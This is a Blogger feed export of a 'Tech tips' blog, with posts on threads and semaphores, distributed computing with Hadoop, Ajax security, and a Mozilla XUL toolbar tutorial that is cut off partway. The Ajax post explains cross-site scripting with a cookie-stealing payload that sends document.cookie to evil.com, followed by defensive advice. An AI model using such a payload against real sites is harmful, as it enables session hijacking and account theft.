<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-690138020656024368</id><updated>2011-11-27T15:43:41.112-08:00</updated><title type='text'>Tech tips</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://hitecweb.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/690138020656024368/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://hitecweb.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Abhijit</name><uri>http://www.blogger.com/profile/14868695671640352018</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.youhull.com/uploaded_images/120x120/2425c0.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>6</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-690138020656024368.post-4495434216394525736</id><published>2009-03-12T11:14:00.000-07:00</published><updated>2009-05-01T04:47:38.736-07:00</updated><title type='text'>MapReduce Framework (Article 2) : Distributed computing</title><content type='html'>&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;Distributed computing - &lt;/span&gt;CPUs having seperate memory. All such CPUs are connected by some means (ethernet, gigabit ethernet, wan etc). &lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Basic element of distributed computing is to identify the subproblems that can run simultaneously without any data dependency e.g. in an animation movie, all frames can be rendered simultaneously as to render frame #10 we don't need data from frame #11.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;In distributed computing environment, there are multiple processes running on hundreds of CPUs. They work on a copy of original input. Nobody will modify the original input. As the computation proceeds, there will be data transfer happening between nodes. We mainly use TCP/IP protocol to transfer data between nodes.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Challenges in distributed computing environment&lt;/div&gt;&lt;div&gt;&lt;ol&gt;&lt;li&gt;Reliable messaging is a MUST.&lt;/li&gt;&lt;li&gt;In distributed computing environment, data will move from one node to another, the intermediate nodes can read your data along with IP headers. So, either you need to trust all the intermediate nodes or build your own protocol, so that data is encrypted but not IP headers.&lt;/li&gt;&lt;li&gt;We need to make sure all data packets originated from host machine.&lt;/li&gt;&lt;li&gt;We need to make sure data sits close to logical computing unit. So Router position is very important.&lt;/li&gt;&lt;/ol&gt;&lt;div&gt;Hadoop (&lt;span class="Apple-style-span"   style="color: rgb(0, 128, 0);   font-family:arial;font-size:13px;"&gt;&lt;b style="text-decoration: inherit; "&gt;hadoop&lt;/b&gt;.&lt;b style="text-decoration: inherit; "&gt;apache&lt;/b&gt;.org/core/) &lt;/span&gt;is an open source java implementation of distributed computing platform for MapReduce framework that supports the above mentioned features. I will discuss &lt;span class="Apple-style-span" style="font-weight: bold;"&gt;Hadoop distributed File System &lt;/span&gt;in article #4.&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/690138020656024368-4495434216394525736?l=hitecweb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hitecweb.blogspot.com/feeds/4495434216394525736/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=690138020656024368&amp;postID=4495434216394525736' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/690138020656024368/posts/default/4495434216394525736'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/690138020656024368/posts/default/4495434216394525736'/><link rel='alternate' type='text/html' href='http://hitecweb.blogspot.com/2009/03/mapreduce-framework-article-2.html' title='MapReduce Framework (Article 2) : Distributed computing'/><author><name>Abhijit</name><uri>http://www.blogger.com/profile/14868695671640352018</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.youhull.com/uploaded_images/120x120/2425c0.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-690138020656024368.post-1072056727836521962</id><published>2009-03-12T09:30:00.000-07:00</published><updated>2009-05-01T04:48:03.577-07:00</updated><title type='text'>MapReduce Framework (Article 1) : Parallel computing</title><content type='html'>&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;Parallel Computing - &lt;/span&gt;Muliple CPUs in one box. All CPUs share the same memory. &lt;div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Now the question is how to achieve parallelism in a single CPU box ? By using threads. If we call a function &lt;span class="Apple-style-span" style="font-weight: bold;"&gt;foo&lt;/span&gt; from main thread, the process stack will look like this&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;img src="http://2.bp.blogspot.com/_Dbk-qG58O4o/Sbk9nqlsSbI/AAAAAAAACN0/3lsgHZB_Tic/s320/1.PNG" style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 66px; height: 135px;" border="0" alt="" id="BLOGGER_PHOTO_ID_5312344987116784050" /&gt;&lt;div&gt;So, main function has to wait till foo ends. If you spawn a thread, the thread will have &lt;br /&gt;&lt;/div&gt;&lt;div&gt;its own process stack and that won't block execution of main function. So by using thread, we can spawn multiple processes and all will execute simultaneously. In a multi CPU system, multiple threads can run simultaneously.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;Parallelisation pitfalls&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;ol&gt;&lt;li&gt;How do we assign work units to worker threads ?&lt;/li&gt;&lt;li&gt;What if we have more work units than worker threads.&lt;/li&gt;&lt;li&gt;How do we aggregare result at the end?&lt;/li&gt;&lt;li&gt;How do we know all worker threads have finished?&lt;/li&gt;&lt;li&gt;What if the work can not be divided into seperate tasks?&lt;/li&gt;&lt;/ol&gt;&lt;div&gt;Each of these problems represent one point at which multiple threads communicate with one another or access a shared resource. Any memory that can be used by multiple threads must be associated with a synchronization system.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The most important concept in Synchronization is&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;Race condition&lt;/span&gt;&lt;/div&gt;&lt;div&gt;Each thread is racing to complete and depending on who is the winner, outcome will be different. We need to make sure that this condition never arise.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;Thread1&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;void foo() {&lt;/div&gt;&lt;div&gt;    x++;&lt;/div&gt;&lt;div&gt;    y = x;&lt;/div&gt;&lt;div&gt;}&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;Thread 2&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;void bar() {&lt;/div&gt;&lt;div&gt;    y++;&lt;/div&gt;&lt;div&gt;    x = y;&lt;/div&gt;&lt;div&gt;}&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;Here x and y are two shared variables. We don't know how the threads are going to be executed by OS. Based on the execution order, the output will be different. To fix the issue we need to make sure only one thread can work at a particular time. This can be achieved by using semaphore.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;Semaphore&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;To make one Object Thread-Safe, bind one semaphore to that object. Semaphore has two synchronization premitives (special variable or method that gurentees that it can only be accessed by one thread at a particular time).&lt;/div&gt;&lt;div&gt;&lt;ol&gt;&lt;li&gt;lock() - Each semaphore will have a queue associated with it. Call to lock() when the semaphore is already blocked causes the thread to wait and the thread will be added to the queue.&lt;/li&gt;&lt;li&gt;unlock() - will wake up all the threads waiting on the semaphore.&lt;/li&gt;&lt;/ol&gt;&lt;div&gt;By using semaphore, we can modify the above programs so that Race condition will never arise.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold; "&gt;Thread1&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold; "&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;void foo() {&lt;/div&gt;&lt;div&gt;    &lt;span class="Apple-style-span" style="font-style: italic;"&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;sem.lock();&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;    x++;&lt;/div&gt;&lt;div&gt;    y = x;&lt;/div&gt;&lt;div&gt;    &lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span" style="font-style: italic;"&gt;sem.unlock();&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;}&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold; "&gt;Thread 2&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;void bar() {&lt;/div&gt;&lt;div&gt;    &lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span" style="font-style: italic;"&gt;sem.lock();&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;    y++;&lt;/div&gt;&lt;div&gt;    x = y;&lt;/div&gt;&lt;div&gt;    &lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span" style="font-style: italic;"&gt;sem.unlock();&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;}&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Semaphore will guarentee that only one thread will execute the block at a particular time, however they are not sufficient to guarentee that nly one flow is allowed (foo should execute before bar).&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;This can be achieved by using &lt;span class="Apple-style-span" style="font-weight: bold;"&gt;conditional variable. &lt;/span&gt;A conditional varaible notifies threads that a particular condition has met. They have two methods&lt;/div&gt;&lt;div&gt;&lt;ol&gt;&lt;li&gt;wait() - waiting on a conditional varaible make the thread to sleep.&lt;/li&gt;&lt;li&gt;notify() - notifying on a conditional variable will wake someone up who is waiting.&lt;/li&gt;&lt;/ol&gt;&lt;div&gt;Now to achieve the flow, we will introduce one boolean fooFinished (boolean is thread safe) and one conditional variable fooFinishedCV.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold; "&gt;Thread1&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold; "&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;void foo() {&lt;/div&gt;&lt;div&gt;    sem.lock();&lt;/div&gt;&lt;div&gt;    x++;&lt;/div&gt;&lt;div&gt;    y = x;&lt;/div&gt;&lt;div&gt;    &lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span" style="font-style: italic;"&gt;fooFinished = true;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;    sem.unlock();&lt;/div&gt;&lt;div&gt;    &lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span" style="font-style: italic;"&gt;fooFinishedCV.notify();&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;}&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold; "&gt;Thread 2&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;void bar() {&lt;/div&gt;&lt;div&gt;    sem.lock();&lt;/div&gt;&lt;div&gt;    &lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span" style="font-style: italic;"&gt;if ( !fooFinished) {&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span" style="font-style: italic;"&gt;        fooFinishedCV.wait(sem);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span" style="font-style: italic;"&gt;    }&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;    y++;&lt;/div&gt;&lt;div&gt;    x = y;&lt;/div&gt;&lt;div&gt;    sem.unlock();&lt;/div&gt;&lt;div&gt;}&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;On waiting on a conditinal variable we need to release the lock, otherwise it may happen that foo never starts. This is called Deadlock situation.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;So there are so many things to look into while working on threads to achieve parallelism. Plus due to physical limitation we won't be able to attach hundreds of CPUs to a single box. So if you want to process terabytes of data in X hours, parallel computing won't help you.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I will discuss Distributed computing platform in my next article which is the main concept behind google MapReduce framework to process huge dataset.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/690138020656024368-1072056727836521962?l=hitecweb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hitecweb.blogspot.com/feeds/1072056727836521962/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=690138020656024368&amp;postID=1072056727836521962' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/690138020656024368/posts/default/1072056727836521962'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/690138020656024368/posts/default/1072056727836521962'/><link rel='alternate' type='text/html' href='http://hitecweb.blogspot.com/2009/03/mapreduce-framework-article-1-parallel.html' title='MapReduce Framework (Article 1) : Parallel computing'/><author><name>Abhijit</name><uri>http://www.blogger.com/profile/14868695671640352018</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.youhull.com/uploaded_images/120x120/2425c0.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_Dbk-qG58O4o/Sbk9nqlsSbI/AAAAAAAACN0/3lsgHZB_Tic/s72-c/1.PNG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-690138020656024368.post-5369073254406560193</id><published>2007-07-07T22:03:00.000-07:00</published><updated>2007-07-07T22:48:44.914-07:00</updated><title type='text'>Ajax Applications :: Security threats</title><content type='html'>Ajax (Asynchronous javascript and XML) is the key technology in web 2.0. In web 2.0 world, Ajax changes the presentation of web pages by dynamically loading data from server. But these applications also become vulnerable to attack. Hackers can easily insert malicious code into server response. But how ?&lt;br /&gt;&lt;br /&gt;Lets say you are dynamically loading user Photo in a social networking environment. You are expecting JSON response like this&lt;br /&gt;{ user_avatar: './img/avatar1.jpg' }&lt;br /&gt;and once you have the data, you are directly changing the src of the user photo section using DOM&lt;br /&gt;document.getElementById("user_photo").src = response.user_avatar;&lt;br /&gt;&lt;br /&gt;So simple .... but there is security hole which can allow the hacker enter into your homepage without login.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Step 1 : &lt;/span&gt;Hacker modifies the JSON response. Now the response looks like&lt;br /&gt;{ user_avatar: "http://evil.com/steal?cookie="+ document.cookie}&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Step 2 : &lt;/span&gt;You replace the user_photo with this one.&lt;br /&gt;document.getElementById("user_photo").src = response.user_avatar;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Step 3 : &lt;/span&gt;Browser will first evaluate document.cookie and then try to load the URL. It will call evil.com site with your browser cookie. If you store user password in browser cookie, that will be accessible to hacker. Also he will get the session ID from cookie and using that he will enter into user home page without login.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Example&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;head&amp;gt;&lt;br /&gt;&amp;lt;script language="javascript"&amp;gt;&lt;br /&gt;function test() {&lt;br /&gt;    document.getElementById("avatar").src="http://evil.com/steal?cookie="+ document.cookie;&lt;br /&gt;}&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&amp;lt;/head&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;body &amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;input type="button" value="Test" onclick="test()"&amp;gt;&lt;br /&gt;&amp;lt;img src="" id="avatar" alt="User avatar"&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This is called&lt;span style="font-weight: bold;"&gt; XSS (Cross site scripting) Attack. &lt;/span&gt;To prevent this attack, always validate your input and response output. Remove all the &amp;lt;script&amp;gt; tags if available before performing any operation like evaluating the script using &lt;span style="font-weight: bold;"&gt;eval() &lt;/span&gt;function. Also &lt;span style="font-weight: bold;"&gt;document.cookie &lt;/span&gt;is a very dangerous string to have in your Ajax Response. So, it is recommended to create a list of potentially dangerous strings and before evaluating the response, pass the response through a filter to remove all such strings.&lt;br /&gt;&lt;br /&gt;Once you secure the JSON response string, convert it into JSON object and perform your operation.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/690138020656024368-5369073254406560193?l=hitecweb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hitecweb.blogspot.com/feeds/5369073254406560193/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=690138020656024368&amp;postID=5369073254406560193' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/690138020656024368/posts/default/5369073254406560193'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/690138020656024368/posts/default/5369073254406560193'/><link rel='alternate' type='text/html' href='http://hitecweb.blogspot.com/2007/07/ajax-applications-security-threats.html' title='Ajax Applications :: Security threats'/><author><name>Abhijit</name><uri>http://www.blogger.com/profile/14868695671640352018</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.youhull.com/uploaded_images/120x120/2425c0.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-690138020656024368.post-5900125363308508983</id><published>2007-07-02T02:19:00.000-07:00</published><updated>2008-12-11T18:43:55.239-08:00</updated><title type='text'>Creating Mozilla toolbar</title><content type='html'>Last month I implemented one custom mozilla toolbar for our application using XUL (XML User Interface Language). Its an amazing framework. Lets create a sample toolbar to detect and collect images from any website.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Setup&lt;/span&gt; - Workspace directory structure&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;toolbar &lt;/span&gt;(&lt;top&gt;TOP Level Directory)&lt;top&gt;&lt;br /&gt;--&lt;span style="font-weight: bold;"&gt;chrome&lt;/span&gt;&lt;/top&gt;&lt;br /&gt;&lt;top&gt;           ----&lt;span style="font-weight: bold;"&gt;content&lt;/span&gt;&lt;/top&gt;&lt;br /&gt;&lt;top&gt;       ----&lt;span style="font-weight: bold;"&gt;skin&lt;/span&gt;&lt;br /&gt;--install.rdf (empty file)&lt;br /&gt;--chrome.manifest (empty file)&lt;br /&gt;&lt;br /&gt;Mozilla browser has following sections&lt;br /&gt;&lt;/top&gt;&lt;/top&gt;&lt;ol&gt;&lt;li&gt;&lt;top&gt;toolbar&lt;/top&gt;&lt;/li&gt;&lt;li&gt;&lt;top&gt;menubar&lt;/top&gt;&lt;/li&gt;&lt;li&gt;&lt;top&gt;window content&lt;/top&gt;&lt;/li&gt;&lt;li&gt;&lt;top&gt;status bar&lt;/top&gt;&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;top&gt;(toolbar+menubar+status bar) = part of chrome&lt;br /&gt;&lt;/top&gt;&lt;br /&gt;&lt;top&gt;mozilla browser uses XUL for the UI. The default xul is browser.xul. You can add extra functionality by providing custom xul file. So, almost every mozilla extension has one xul file. This file is used to add toolbar button, right click context menu etc.&lt;br /&gt;&lt;br /&gt;&lt;/top&gt;&lt;span style="font-family:monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;b&gt;Step 1&lt;/b&gt;&lt;br /&gt;Add one xul file to override browser default UI. This will add one "Right click context menu" =&gt; Toolbar::Collect it&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_Dbk-qG58O4o/RojNs2B9WLI/AAAAAAAAAAM/s8eFptbuS58/s1600-h/1.PNG"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://3.bp.blogspot.com/_Dbk-qG58O4o/RojNs2B9WLI/AAAAAAAAAAM/s8eFptbuS58/s320/1.PNG" alt="" id="BLOGGER_PHOTO_ID_5082538349789272242" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Step 2&lt;/b&gt;&lt;br /&gt;When you click on the context menu =&gt; javascript collect function is called. We have added one overlay.js file. This file is also in &lt;i&gt;Content directory.&lt;br /&gt;&lt;br /&gt;&lt;/i&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;window.addEventListener("load", initToolbar, true);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 51, 255);"&gt;var aConsoleService = Components.classes["@mozilla.org/consoleservice;1"].&lt;br /&gt;                                          getService(Components.interfaces.nsIConsoleService);&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;function initToolbar() {&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;    var menu = document.getElementById("contentAreaContextMenu");&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;    menu.addEventListener("popupshowing", contextPopupShowing, false);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;function contextPopupShowing() {&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;var menuitem = document.getElementById("zoomarena-menu");&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;if(menuitem)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;menuitem.hidden = !gContextMenu.onImage;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;function collect() {&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;    aConsoleService.logStringMessage("Collect sample");&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;    if ( gContextMenu.onImage) {&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;        var img = gContextMenu.target;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;            if ( img ) {&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;            var newTab = gBrowser.addTab(img.src);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;            gBrowser.selectedTab = newTab;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;        }&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;    }&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Here we have added one listener function "initToolbar" when the toolbar gets loaded. In initToolbar we have added one more listener function (when context menu is about to become visible =&gt; this function will be called). Using this function, we check if the context menu is on one image =&gt; show that "Toolbar::collect it" otherwise don't show it.&lt;br /&gt;&lt;br /&gt;We also define the collect() function used in overlay.xul. This will get the img src and open it in new browser tab.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Step 3&lt;/b&gt;&lt;br /&gt;You are almost done. Define a chrome.menifest file (in toolbar folder) to register the new overlay. You can use this file to register custom skin (icons used in the toolbar and css file). Here chrome/skin folder is empty.We will just register the new overlay.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;content toolbar jar:chrome/toolbar.jar!/content/&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;overlay chrome://browser/content/browser.xul chrome://toolbar/content/overlay.xul&lt;/span&gt;&lt;br /&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;b&gt;Step 4&lt;br /&gt;&lt;/b&gt;Define install.rdf file. This file is self explanatory.&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_Dbk-qG58O4o/RojQ5WB9WNI/AAAAAAAAAAc/kO7-X-iyMjI/s1600-h/2.PNG"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://1.bp.blogspot.com/_Dbk-qG58O4o/RojQ5WB9WNI/AAAAAAAAAAc/kO7-X-iyMjI/s320/2.PNG" alt="" id="BLOGGER_PHOTO_ID_5082541863072520402" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Step 5&lt;br /&gt;&lt;/b&gt;Packaging. Here is the script to package the toobar and distribute as a xpi file. Here is the file (xp.bat)&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;cd chrome&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;rm toolbar.jar&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;zip -r toolbar.jar content/&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;cd ..&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;rm toolbar.xpi&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 255);"&gt;zip -r toolbar.xpi chrome.manifest install.rdf chrome/toolbar.jar&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;Final directory / file structure&lt;br /&gt;&lt;br /&gt;toolbar&lt;br /&gt;&lt;/b&gt;--xp.bat&lt;br /&gt;--chrome.menifest&lt;br /&gt;--install.rdf&lt;br /&gt;--&lt;b&gt;chrome&lt;br /&gt;&lt;/b&gt;----&lt;b&gt;content&lt;br /&gt;   &lt;/b&gt;                    